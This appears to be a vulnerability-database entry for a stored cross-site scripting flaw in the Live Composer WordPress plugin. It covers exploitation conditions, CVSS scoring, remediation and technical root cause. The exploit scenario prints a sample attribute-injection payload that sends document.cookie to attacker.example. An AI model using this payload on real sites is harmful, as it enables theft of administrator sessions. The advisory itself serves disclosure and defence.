EUVD-2026-68976
GHSA-q744-rpmq-q2gw
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAttacker registers as Contributor
-
DeliveryCrafts malicious custom_id shortcode attribute
-
ExploitEmbeds payload in published page
-
ExecutionVictim admin browses injected page
-
PersistScript executes in admin browser
-
ImpactSession token exfiltrated
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires an authenticated WordPress user account at Contributor level or above - unauthenticated attackers cannot exploit this vulnerability. The attacker must have the capability to create or edit pages/posts that include the dslc_modules_section or dslc_modules_area shortcodes, which is the default capability for Contributors in WordPress. The Live Composer plugin must be installed and active. Successful payload execution further requires that another user (typically an administrator) visits or previews the injected page, making this a two-phase attack. Sites that disable open user registration or restrict Contributors from publishing/editing shortcode-bearing content significantly limit exploitability. |
| Impact | The provided CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N = 6.4) warrants scrutiny: UI:N is atypical for stored XSS because a victim must browse to the injected page to trigger execution - standard CVSS guidance typically assigns UI:R in this scenario. An independent assessment using UI:R would yield approximately 5.4, which better reflects the realistic attack path. The S:C (Scope Changed) flag is correctly applied, as the script executes in the victim's browser context rather than the server. PR:L accurately reflects the Contributor-level authentication barrier, which meaningfully reduces exposure on sites that do not allow public user registration. No EPSS data was provided. The vulnerability is not in CISA KEV, and no POC has been identified, indicating no confirmed active exploitation. Real-world risk is moderate: sites with open contributor registration or untrusted editors are genuinely at risk of admin account compromise via session token theft; sites with closed registration and vetted contributors face lower practical risk despite the network-accessible attack vector. |
| Exploit ScenarioDerived | An attacker registers as a Contributor on a WordPress site running Live Composer ≤ 2.1.19, then creates or edits a page embedding a dslc_modules_section shortcode with a crafted custom_id value such as " onmouseover="fetch('https://attacker.example/steal?c='+document.cookie)". Once an administrator reviews or visits that page, their session cookie is exfiltrated, granting the attacker full admin access to the WordPress installation. No public POC has been identified, but the vulnerability is mechanically straightforward for anyone familiar with WordPress shortcode injection. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 01, 2026
Stored Cross-Site Scripting in Live Composer Free WordPress Website Builder (versions ≤ 2.1.19) allows authenticated contributors to permanently embed arbitrary JavaScript into WordPress pages via the unsanitized 'custom_id' shortcode attribute. The payload is rendered verbatim into the HTML id="" attribute of div elements by dslc_modules_section_front() and dslc_modules_area_front() due to absent esc_attr() output escaping, then executes in the browser of every subsequent visitor - including administrators. No public exploit code has been identified at time of analysis, and the vulnerability is not listed in CISA KEV, but sites permitting open contributor registration face realistic risk of admin session theft or persistent malicious redirects.
RemediationAI
The upstream fix is available as WordPress SVN changeset 3662813 (https://plugins.trac.wordpress.org/changeset?reponame=&old=3662813%40live-composer-page-builder&new=3662813%40live-composer-page-builder); administrators should update to the patched plugin version via the WordPress dashboard (Dashboard → Plugins → Updates). The exact released version number containing this fix is not independently confirmed from available data - verify the installed version exceeds 2.1.19 post-update. As a compensating control where immediate patching is not feasible, restrict the WordPress user role that can publish or edit pages containing Live Composer shortcodes to Editor or Administrator level, effectively removing Contributor-level access to the vulnerable shortcodes; note this may disrupt contributor workflows. Additionally, a Web Application Firewall rule blocking HTML attribute injection patterns (quotes followed by event handlers) in form inputs can reduce risk, though WAF bypass is possible for sophisticated attackers.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Live Composer is a drag-and-drop WordPress page builder that exposes layout shortcodes (dslc_modules_section, dslc_modules_area) with a 'custom_id' attribute intended to set a CSS id on rendered div elements. The vulnerable code paths are in includes/display-functions.php at lines 1882, 1888, 1922, 2107, and 2113 (confirmed across plugin tags 2.1.13 and 2.1.17 in WordPress SVN). The root cause is CWE-79: the custom_id value is directly concatenated into id="<custom_id>" without WordPress's standard esc_attr() escaping function, allowing injection of quote-breaking sequences and event-handler attributes (e.g., " onmouseover="..."). Because the payload persists server-side in page content, this is Stored (Persistent) XSS rather than Reflected. The CPE cpe:2.3:a:livecomposer:live_composer_-_free_wordpress_website_builder:*:*:*:*:*:*:*:* confirms all versions up to and including 2.1.19 are affected. The fix is represented by WordPress SVN changeset 3662813.
Know when Wordpress Plugin gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Stored XSS requires victim to visit the injected page (UI:R); Contributor authentication required (PR:L); scope changes to victim browser (S:C).
Primary rating from Vendor (Wordfence).
CVSS VectorVendor: Wordfence
DescriptionCVE.org
The Live Composer - Free WordPress Website Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'custom_id' shortcode attribute of the dslc_modules_section and dslc_modules_area shortcodes in versions up to, and including, 2.1.19. This is due to insufficient input sanitization and output escaping on the user-supplied attribute, which is concatenated into the HTML id="" attribute of the rendered <div> element in the dslc_modules_section_front() and dslc_modules_area_front() functions without esc_attr(). This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Wordpress Plugin
View allThe Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
The Hash Form - Drag & Drop Form Builder plugin for WordPress is vulnerable to arbitrary file uploads due to missing fil
Authentication bypass in the LiteSpeed Cache WordPress plugin (versions prior to 6.5.0.1) allows unauthenticated remote
The Simple File List plugin for WordPress through version 4.2.2 contains an unauthenticated remote code execution vulner
The AI Engine WordPress plugin through version 3.1.3 exposes Bearer Token values through the /mcp/v1/ REST API endpoint
The SureTriggers WordPress plugin through version 1.0.82 contains a privilege escalation vulnerability that allows unaut
The Ninja Forms plugin before 2.9.42.1 for WordPress allows remote attackers to conduct PHP object injection attacks via
The Business Directory Plugin - Easy Listing Directories for WordPress plugin for WordPress is vulnerable to time-based
SQL injection in the NotificationX WordPress plugin (versions up to and including 2.8.2) allows unauthenticated remote a
The POST SMTP Mailer - Email log, Delivery Failure Notifications and Best Mail SMTP for WordPress plugin for WordPress i
The MasterStudy LMS WordPress Plugin - for Online Courses and Education plugin for WordPress is vulnerable to union base
The Email Subscribers by Icegram Express plugin for WordPress is vulnerable to SQL Injection via the ‘hash’ parameter in
Exploit-DB